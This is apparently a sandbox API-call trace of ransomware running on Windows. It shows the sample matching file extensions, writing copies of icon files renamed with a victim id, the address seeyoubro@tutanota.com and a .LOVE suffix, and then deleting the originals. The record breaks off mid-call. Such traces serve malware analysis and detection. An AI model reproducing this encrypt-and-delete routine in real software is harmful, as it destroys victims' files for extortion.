[0195.980] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString=".dbf") returned 4 [0195.980] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString=".1cd") returned 4 [0195.980] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString=".jpg") returned 4 [0195.980] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString=".doc") returned 4 [0195.980] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.981] lstrlenW (lpString=".docx") returned 5 [0195.981] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0195.981] lstrlenW (lpString=".pdf") returned 4 [0195.981] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.981] lstrlenW (lpString=".xls") returned 4 [0195.981] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.981] lstrlenW (lpString=".xlsx") returned 5 [0195.981] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0195.981] lstrlenW (lpString=".ppt") returned 4 [0195.981] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.981] lstrlenW (lpString=".zip") returned 4 [0195.981] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.981] lstrlenW (lpString=".rar") returned 4 [0195.981] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.981] lstrlenW (lpString=".bz2") returned 4 [0195.981] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.981] lstrlenW (lpString=".7z") returned 3 [0195.981] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.981] lstrlenW (lpString=".dbf") returned 4 [0195.981] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.981] lstrlenW (lpString=".1cd") returned 4 [0195.981] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.981] lstrlenW (lpString=".jpg") returned 4 [0195.981] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.982] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.982] lstrlenW (lpString="Rotate5.ico") returned 11 [0195.982] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.982] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=894) returned 1 [0195.982] CloseHandle (hObject=0x2c4) returned 1 [0195.982] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0195.982] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.982] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.982] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.982] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.982] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.983] GetLastError () returned 0x0 [0195.983] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x37e, lpOverlapped=0x0) returned 1 [0196.013] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x380, lpOverlapped=0x0) returned 1 [0196.014] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.014] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xea, lpOverlapped=0x0) returned 1 [0196.014] SetEndOfFile (hFile=0x2b0) returned 1 [0196.014] CloseHandle (hObject=0x2b0) returned 1 [0196.015] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.015] SetEndOfFile (hFile=0x2c4) returned 1 [0196.016] CloseHandle (hObject=0x2c4) returned 1 [0196.016] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.016] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0196.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.017] lstrlenW (lpString=".doc") returned 4 [0196.017] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.017] lstrlenW (lpString=".docx") returned 5 [0196.017] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0196.017] lstrlenW (lpString=".pdf") returned 4 [0196.017] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.017] lstrlenW (lpString=".xls") returned 4 [0196.017] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.017] lstrlenW (lpString=".xlsx") returned 5 [0196.017] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0196.017] lstrlenW (lpString=".ppt") returned 4 [0196.017] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.017] lstrlenW (lpString=".zip") returned 4 [0196.017] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.017] lstrlenW (lpString=".rar") returned 4 [0196.017] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.017] lstrlenW (lpString=".bz2") returned 4 [0196.017] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.017] lstrlenW (lpString=".7z") returned 3 [0196.017] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.017] lstrlenW (lpString=".dbf") returned 4 [0196.017] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.018] lstrlenW (lpString=".1cd") returned 4 [0196.018] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.018] lstrlenW (lpString=".jpg") returned 4 [0196.018] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.018] lstrlenW (lpString=".doc") returned 4 [0196.018] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.018] lstrlenW (lpString=".docx") returned 5 [0196.018] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0196.018] lstrlenW (lpString=".pdf") returned 4 [0196.018] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString=".xls") returned 4 [0196.018] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString=".xlsx") returned 5 [0196.018] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0196.018] lstrlenW (lpString=".ppt") returned 4 [0196.018] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.018] lstrlenW (lpString=".zip") returned 4 [0196.018] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString=".rar") returned 4 [0196.018] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.018] lstrlenW (lpString=".bz2") returned 4 [0196.018] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.018] lstrlenW (lpString=".7z") returned 3 [0196.018] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.019] lstrlenW (lpString=".dbf") returned 4 [0196.019] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.019] lstrlenW (lpString=".1cd") returned 4 [0196.019] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0196.019] lstrlenW (lpString=".jpg") returned 4 [0196.019] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.019] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.019] lstrlenW (lpString="Rotate8.ico") returned 11 [0196.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.026] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=894) returned 1 [0196.026] CloseHandle (hObject=0x300) returned 1 [0196.026] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0196.026] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.026] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.026] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0196.027] GetLastError () returned 0x0 [0196.027] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x37e, lpOverlapped=0x0) returned 1 [0196.045] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x380, lpOverlapped=0x0) returned 1 [0196.046] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.046] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xea, lpOverlapped=0x0) returned 1 [0196.046] SetEndOfFile (hFile=0x2fc) returned 1 [0196.046] CloseHandle (hObject=0x2fc) returned 1 [0196.049] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.049] SetEndOfFile (hFile=0x300) returned 1 [0196.049] CloseHandle (hObject=0x300) returned 1 [0196.049] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.049] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0196.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.050] lstrlenW (lpString=".doc") returned 4 [0196.050] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.050] lstrlenW (lpString=".docx") returned 5 [0196.050] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0196.050] lstrlenW (lpString=".pdf") returned 4 [0196.050] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.050] lstrlenW (lpString=".xls") returned 4 [0196.050] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.050] lstrlenW (lpString=".xlsx") returned 5 [0196.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0196.050] lstrlenW (lpString=".ppt") returned 4 [0196.050] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.050] lstrlenW (lpString=".zip") returned 4 [0196.050] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.050] lstrlenW (lpString=".rar") returned 4 [0196.050] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.050] lstrlenW (lpString=".bz2") returned 4 [0196.050] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.050] lstrlenW (lpString=".7z") returned 3 [0196.050] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.050] lstrlenW (lpString=".dbf") returned 4 [0196.050] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.050] lstrlenW (lpString=".1cd") returned 4 [0196.050] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.051] lstrlenW (lpString=".jpg") returned 4 [0196.051] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.051] lstrlenW (lpString=".doc") returned 4 [0196.051] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.051] lstrlenW (lpString=".docx") returned 5 [0196.051] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0196.051] lstrlenW (lpString=".pdf") returned 4 [0196.051] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString=".xls") returned 4 [0196.051] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString=".xlsx") returned 5 [0196.051] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0196.051] lstrlenW (lpString=".ppt") returned 4 [0196.051] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.051] lstrlenW (lpString=".zip") returned 4 [0196.051] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString=".rar") returned 4 [0196.051] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.051] lstrlenW (lpString=".bz2") returned 4 [0196.051] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.051] lstrlenW (lpString=".7z") returned 3 [0196.051] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.051] lstrlenW (lpString=".dbf") returned 4 [0196.051] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.052] lstrlenW (lpString=".1cd") returned 4 [0196.052] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0196.052] lstrlenW (lpString=".jpg") returned 4 [0196.052] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.052] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.052] lstrlenW (lpString="stop.ico") returned 8 [0196.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.052] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=10134) returned 1 [0196.052] CloseHandle (hObject=0x300) returned 1 [0196.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0196.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0196.053] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.053] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0196.053] GetLastError () returned 0x0 [0196.053] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x2796, lpOverlapped=0x0) returned 1 [0196.310] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0196.311] ReadFile (in: hFile=0x300, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.311] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.312] SetEndOfFile (hFile=0x2fc) returned 1 [0196.312] CloseHandle (hObject=0x2fc) returned 1 [0196.313] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.313] SetEndOfFile (hFile=0x300) returned 1 [0196.313] CloseHandle (hObject=0x300) returned 1 [0196.313] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.415] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0196.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.415] lstrlenW (lpString=".doc") returned 4 [0196.415] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.415] lstrlenW (lpString=".docx") returned 5 [0196.415] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0196.415] lstrlenW (lpString=".pdf") returned 4 [0196.415] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.415] lstrlenW (lpString=".xls") returned 4 [0196.415] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.415] lstrlenW (lpString=".xlsx") returned 5 [0196.415] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0196.415] lstrlenW (lpString=".ppt") returned 4 [0196.415] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.415] lstrlenW (lpString=".zip") returned 4 [0196.415] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.415] lstrlenW (lpString=".rar") returned 4 [0196.415] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.416] lstrlenW (lpString=".bz2") returned 4 [0196.416] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.416] lstrlenW (lpString=".7z") returned 3 [0196.416] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString=".dbf") returned 4 [0196.416] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString=".1cd") returned 4 [0196.416] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString=".jpg") returned 4 [0196.416] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString=".doc") returned 4 [0196.416] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.416] lstrlenW (lpString=".docx") returned 5 [0196.416] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0196.416] lstrlenW (lpString=".pdf") returned 4 [0196.416] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.416] lstrlenW (lpString=".xls") returned 4 [0196.416] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.416] lstrlenW (lpString=".xlsx") returned 5 [0196.416] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0196.416] lstrlenW (lpString=".ppt") returned 4 [0196.416] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.416] lstrlenW (lpString=".zip") returned 4 [0196.417] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.417] lstrlenW (lpString=".rar") returned 4 [0196.417] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.417] lstrlenW (lpString=".bz2") returned 4 [0196.417] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.417] lstrlenW (lpString=".7z") returned 3 [0196.417] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.417] lstrlenW (lpString=".dbf") returned 4 [0196.417] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0196.417] lstrlenW (lpString=".1cd") returned 4 [0196.417] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.417] lstrlenW 